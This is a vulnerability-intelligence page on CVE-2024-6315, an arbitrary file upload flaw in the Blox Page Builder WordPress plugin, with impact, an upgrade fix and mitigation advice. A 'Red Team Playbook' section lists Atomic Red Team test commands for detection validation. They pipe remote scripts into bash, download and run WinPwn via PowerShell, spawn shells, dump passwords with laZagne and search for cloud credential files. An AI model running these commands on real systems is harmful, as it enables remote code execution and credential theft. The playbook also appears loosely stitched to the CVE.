CVE-2024-6315
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the 'handleUploadFile' function of the unitecms Blox Page Builder WordPress plugin. The affected component lacks proper sanitization and verification of file extensions or MIME types, allowing unauthorized file formats to be accepted. The issue exists in all versions up to and including 1.0.65, specifically within the plugin's file handling mechanism.
Vulnerability Description
The Blox Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'handleUploadFile' function in all versions up to, and including, 1.0.65. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or greater access can upload arbitrary files to the web server, potentially leading to remote code execution on the affected site. This requires authenticated access but no user interaction beyond the attacker's own actions. Successful exploitation can result in full compromise of the WordPress environment, data exfiltration, or service disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack with low complexity and no user interaction, emphasizing the threat posed by authenticated users.
Solution
Users should upgrade the Blox Page Builder plugin to a version later than 1.0.65 where the issue is resolved. Detailed remediation steps and patch availability are documented in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/0fe551db-2073-4eeb-83da-9ce8c2c031e1). The plugin's maintainers have addressed the missing validation in subsequent releases, and updating to the latest version is the recommended mitigation. No official workaround is documented apart from upgrading.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Blox Page Builder plugin for WordPress arises from inadequate file type validation within the 'handleUploadFile' function. This oversight allows authenticated users with contributor-level permissions and above to upload arbitrary files to the server. The lack of stringent checks on the file types being uploaded can lead to serious security implications, as attackers can exploit this weakness to upload malicious scripts or executables disguised as benign files. Once these files are on the server, they can be executed, potentially leading to remote code execution, which grants attackers full control over the affected system.
Attack vectors for this vulnerability are relatively straightforward. An authenticated attacker can leverage their permissions to upload a malicious file, such as a web shell or a PHP script, which can then be executed on the server. For instance, an attacker could upload a file named "image.jpg" that actually contains malicious code. Once the file is uploaded, the attacker can access it through a web browser, executing the code and gaining unauthorized access to the server. This scenario highlights the ease with which an attacker can exploit the vulnerability, especially if they are already authenticated and have contributor-level access.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on WordPress for their online presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even the complete compromise of the server. The potential for data breaches can result in severe financial losses, reputational damage, and legal repercussions for organizations. Furthermore, if the compromised server is part of a larger network, the attacker may pivot to other systems, amplifying the risk and impact across the organization.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in plugins and themes. Additionally, organizations should ensure that all plugins, including the Blox Page Builder, are updated to the latest versions, as developers often release patches for known vulnerabilities. Employing a web application firewall (WAF) can also provide an additional layer of security by filtering out malicious requests and blocking potential exploit attempts. Furthermore, restricting file upload capabilities to only necessary file types and implementing strict validation checks can significantly reduce the risk of arbitrary file uploads.
In conclusion, the vulnerability in the Blox Page Builder plugin underscores the importance of robust security practices in web development and management. The ease of exploitation and the potential for severe consequences necessitate a proactive approach to vulnerability management. Organizations must remain vigilant, ensuring that their systems are secure against such threats while fostering a culture of security awareness among their users. By adopting comprehensive detection and mitigation strategies, businesses can protect themselves from the risks associated with this and similar vulnerabilities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6315 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/0fe551db-2073-4eeb-83da-9ce8c2c031e1?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/blox-page-builder/trunk/inc_php/unitecreator_assets.class.php?rev=1866874#L979 |